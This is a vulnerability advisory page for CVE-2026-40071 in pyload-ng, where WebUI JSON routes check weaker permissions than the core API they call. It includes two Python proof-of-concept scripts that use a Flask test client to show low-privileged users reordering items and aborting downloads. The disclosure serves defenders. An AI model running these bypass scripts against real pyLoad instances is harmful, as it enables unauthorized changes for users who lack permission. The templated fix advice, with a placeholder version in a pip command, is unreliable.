CVE-2026-40071: Pyload ng Pyload-ng Has A WebUI JSON Vulnerability

MODERATE
Advisory Identifier: GHSA-rfgh-63mg-8pwm
CVSS 5.4
CWE-285 CWE-863
Published
Advisory Summary

CVE-2026-40071 is a MODERATE (CVSS 5.4) pyload-ng has a webui json vulnerability (CWE-285: Improper Authorization) affecting Pyload ng libraries in the PyPI ecosystem. The issue involves pyload-ng has a webui json permission mismatch that lets add/delete users invoke modify-only actions. Remediation is available in the latest vendor maintenance releases.

CVE-2026-40071 at a Glance

CVE Identifier CVE-2026-40071
GHSA Identifier GHSA-rfgh-63mg-8pwm
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-285: Improper Authorization
Affected Product Pyload ng
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2026-40071

To remediate this vulnerability, upgrade all affected Pyload ng dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pyload-ng fixed: Latest secure release
pip install pyload-ng>=Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pyload-ng

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-40071, inspect your installed packages using pip:

pip show pyload-ng

Analyze the terminal output to locate any version of Pyload ng in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-285: Improper Authorization, where the product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. In Pyload ng, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model. Confirmed mismatches: - `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order` - `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link` ### Details pyLoad defines granular permissions in core API: - `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`) - `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`) - `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`) But WebUI JSON routes use weaker checks: - `/json/package_order` uses `@login_required("ADD")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`) - `/json/link_order` uses `@login_required("ADD")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`) - `/json/abort_link` uses `@login_required("DELETE")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`) Why this is likely unintended (not just convenience): - The same JSON blueprint correctly protects other edit actions with `MODIFY`: - `/json/move_package` -> `@login_required("MODIFY")` (`json_blueprint.py:188-196`) - `/json/edit_package` -> `@login_required("MODIFY")` (`json_blueprint.py:202-217`) - The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls. ### PoC Environment: - Repository version: `0.5.0b3` (`VERSION` file) - Commit tested: `ddc53b3d7` PoC A (ADD-only user invokes MODIFY-only reorder): ```python import os import sys from types import SimpleNamespace sys.path.insert(0, os.path.abspath('src')) from flask import Flask from pyload.core.api import Api, Perms, Role from pyload.webui.app.blueprints import json_blueprint class FakeApi: def __init__(self): self.calls = [] def user_exists(self, username): return username == 'attacker' def order_package(self, pack_id, pos): self.calls.append(('order_package', int(pack_id), int(pos))) def order_file(self, file_id, pos): self.calls.append(('order_file', int(file_id), int(pos))) api = Api(SimpleNamespace(_=lambda x: x)) ctx = {'role': Role.USER, 'permission': Perms.ADD} print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx)) print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx)) app = Flask(__name__) app.secret_key = 'k' app.config['TESTING'] = True app.config['WTF_CSRF_ENABLED'] = False f = FakeApi() app.config['PYLOAD_API'] = f app.register_blueprint(json_blueprint.bp) with app.test_client() as c: with c.session_transaction() as s: s['authenticated'] = True s['name'] = 'attacker' s['role'] = int(Role.USER) s['perms'] = int(Perms.ADD) r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0}) r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1}) print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip()) print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip()) print('calls:', f.calls) ``` Observed output: ```text API auth (ADD-only) order_package: False API auth (ADD-only) order_file: False HTTP /json/package_order: 200 {"response":"success"} HTTP /json/link_order: 200 {"response":"success"} calls: [('order_package', 5, 0), ('order_file', 77, 1)] ``` PoC B (DELETE-only user invokes MODIFY-only stop_downloads): ```python import os import sys from types import SimpleNamespace sys.path.insert(0, os.path.abspath('src')) from flask import Flask from pyload.core.api import Api, Perms, Role from pyload.webui.app.blueprints import json_blueprint class FakeApi: def __init__(self): self.calls = [] def user_exists(self, username): return username == 'u' def stop_downloads(self, ids): self.calls.append(('stop_downloads', ids)) api = Api(SimpleNamespace(_=lambda x: x)) ctx = {'role': Role.USER, 'permission': Perms.DELETE} print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx)) app = Flask(__name__) app.secret_key = 'k' app.config['TESTING'] = True app.config['WTF_CSRF_ENABLED'] = False f = FakeApi() app.config['PYLOAD_API'] = f app.register_blueprint(json_blueprint.bp) with app.test_client() as c: with c.session_transaction() as s: s['authenticated'] = True s['name'] = 'u' s['role'] = int(Role.USER) s['perms'] = int(Perms.DELETE) r = c.post('/json/abort_link', json={'link_id': 999}) print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip()) print('calls:', f.calls) ``` Observed output: ```text API auth (DELETE-only) stop_downloads: False HTTP /json/abort_link: 200 {"response":"success"} calls: [('stop_downloads', [999])] ``` ### Impact Type: - Improper authorization / permission-bypass between WebUI and core API permission model. Scope: - Horizontal privilege escalation among authenticated non-admin users. - Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`. Security impact: - Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`. - Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.

CVE-2026-40071 Affected Pyload ng Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
pyload-ng
PyPI
≤ 0.5.0b3

References

Frequently Asked Questions

What is CVE-2026-40071?
CVE-2026-40071 is a security vulnerability in Pyload ng involving pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions under CWE-285: Improper Authorization.
Which Pyload ng versions are affected?
Affected versions include releases prior to current release patches across affected packages: pyload-ng.
What version fixes CVE-2026-40071?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is pyload-ng affected?
Yes, pyload-ng is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-40071?
CVE-2026-40071 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L.
What CWE is associated with CVE-2026-40071?
CVE-2026-40071 is classified under CWE-285: Improper Authorization (The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.).
How can I check PyPI dependencies for CVE-2026-40071?
Run the dependency tree command: 'pip show pyload-ng'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rfgh-63mg-8pwm",
  "modified" : "2026-04-13T17:39:20Z",
  "published" : "2026-04-08T00:18:20Z",
  "aliases" : [ "CVE-2026-40071" ],
  "summary" : "pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions",
  "details" : "### Summary\nSeveral WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model.\n\nConfirmed mismatches:\n- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`\n- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`\n\n### Details\npyLoad defines granular permissions in core API:\n- `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)\n- `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)\n- `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)\n\nBut WebUI JSON routes use weaker checks:\n- `/json/package_order` uses `@login_required(\"ADD\")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)\n- `/json/link_order` uses `@login_required(\"ADD\")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)\n- `/json/abort_link` uses `@login_required(\"DELETE\")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)\n\nWhy this is likely unintended (not just convenience):\n- The same JSON blueprint correctly protects other edit actions with `MODIFY`:\n  - `/json/move_package` -> `@login_required(\"MODIFY\")` (`json_blueprint.py:188-196`)\n  - `/json/edit_package` -> `@login_required(\"MODIFY\")` (`json_blueprint.py:202-217`)\n- The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.\n\n### PoC\nEnvironment:\n- Repository version: `0.5.0b3` (`VERSION` file)\n- Commit tested: `ddc53b3d7`\n\nPoC A (ADD-only user invokes MODIFY-only reorder):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath('src'))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n    def __init__(self):\n        self.calls = []\n\n    def user_exists(self, username):\n        return username == 'attacker'\n\n    def order_package(self, pack_id, pos):\n        self.calls.append(('order_package', int(pack_id), int(pos)))\n\n    def order_file(self, file_id, pos):\n        self.calls.append(('order_file', int(file_id), int(pos)))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {'role': Role.USER, 'permission': Perms.ADD}\nprint('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))\nprint('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))\n\napp = Flask(__name__)\napp.secret_key = 'k'\napp.config['TESTING'] = True\napp.config['WTF_CSRF_ENABLED'] = False\nf = FakeApi()\napp.config['PYLOAD_API'] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n    with c.session_transaction() as s:\n        s['authenticated'] = True\n        s['name'] = 'attacker'\n        s['role'] = int(Role.USER)\n        s['perms'] = int(Perms.ADD)\n\n    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})\n    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})\n\nprint('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())\nprint('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())\nprint('calls:', f.calls)\n```\n\nObserved output:\n```text\nAPI auth (ADD-only) order_package: False\nAPI auth (ADD-only) order_file: False\nHTTP /json/package_order: 200 {\"response\":\"success\"}\nHTTP /json/link_order: 200 {\"response\":\"success\"}\ncalls: [('order_package', 5, 0), ('order_file', 77, 1)]\n```\n\nPoC B (DELETE-only user invokes MODIFY-only stop_downloads):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath('src'))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n    def __init__(self):\n        self.calls = []\n\n    def user_exists(self, username):\n        return username == 'u'\n\n    def stop_downloads(self, ids):\n        self.calls.append(('stop_downloads', ids))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {'role': Role.USER, 'permission': Perms.DELETE}\nprint('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))\n\napp = Flask(__name__)\napp.secret_key = 'k'\napp.config['TESTING'] = True\napp.config['WTF_CSRF_ENABLED'] = False\nf = FakeApi()\napp.config['PYLOAD_API'] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n    with c.session_transaction() as s:\n        s['authenticated'] = True\n        s['name'] = 'u'\n        s['role'] = int(Role.USER)\n        s['perms'] = int(Perms.DELETE)\n\n    r = c.post('/json/abort_link', json={'link_id': 999})\n\nprint('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())\nprint('calls:', f.calls)\n```\n\nObserved output:\n```text\nAPI auth (DELETE-only) stop_downloads: False\nHTTP /json/abort_link: 200 {\"response\":\"success\"}\ncalls: [('stop_downloads', [999])]\n```\n\n### Impact\nType:\n- Improper authorization / permission-bypass between WebUI and core API permission model.\n\nScope:\n- Horizontal privilege escalation among authenticated non-admin users.\n- Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.\n\nSecurity impact:\n- Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.\n- Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyload-ng"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.5.0b3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/security/advisories/GHSA-rfgh-63mg-8pwm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40071"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyload/pyload"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-285", "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T00:18:20Z",
    "nvd_published_at" : "2026-04-09T18:17:03Z"
  }
}